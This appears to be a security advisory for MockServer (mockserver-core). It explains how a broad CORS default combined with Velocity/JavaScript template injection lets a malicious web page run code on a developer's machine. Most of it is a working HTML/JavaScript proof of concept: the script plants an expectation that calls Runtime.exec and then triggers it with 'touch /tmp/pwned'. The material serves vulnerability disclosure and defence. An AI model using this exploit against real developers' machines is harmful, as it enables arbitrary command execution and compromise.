org.mock-server:mockserver-core is a Functionality used by all MockServer modules for matching and expectations
Affected versions of this package are vulnerable to Arbitrary Code Execution. An attacker that can trick a victim into visiting a malicious site while running MockServer
locally, and then will be able to run arbitrary code on the MockServer
machine.
MockServer
with an overly broad default CORS configuration allows any site to send cross-site requests, which may allow sending requests to the REST API. In addition, MockServer
allows creating dynamic expectations using Javascript or Velocity templates, which allow for script injection.
These two issues combined allow an attacker to serve a malicious page to a developer running MockServer
.
PoC:
<html>
<head>
<script type="text/javascript">
(function() {
console.log("[+] Creating Expectation")
fetch('http://localhost:1080/mockserver/expectation', {
method: 'PUT',
body: JSON.stringify({
"httpRequest": {
"path": "/pwn/me",
"queryStringParameters": {"cmd": [".*"]}
//"queryStringParameters": {"script": [".*"]}
},
"httpResponseTemplate": {
"template": "{ \"statusCode\": 200, \"body\": \"$!request.class.forName('java.lang.Runtime').getRuntime().exec($!request.queryStringParameters.cmd[0])\" }",
"templateType": "VELOCITY"
//"template": "return { statusCode: 200, body: String(this.engine.factory.scriptEngine.eval(request.queryStringParameters.script[0])) };",
//"templateType": "JAVASCRIPT"
}
})
}).then(function(response) {
response.text().then(function (text) {
console.log("PUT", text)
});
}).catch((error) => {
console.error('Error:', error);
});
setTimeout(function() {
console.log("[+] Triggering exploit")
var url = 'http://localhost:1080/pwn/me?cmd=' + encodeURIComponent('touch /tmp/pwned')
//var url = 'http://localhost:1080/pwn/me?script=' + encodeURIComponent('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')
fetch(url, {
mode: 'no-cors'
}).then(function(response) {
response.text().then(function (text) {
console.log("GET", text)
});
}).catch((error) => {
console.error('Error:', error);
});
}, 1000)
})();
</script>
</head>
<body>
</body>
</html>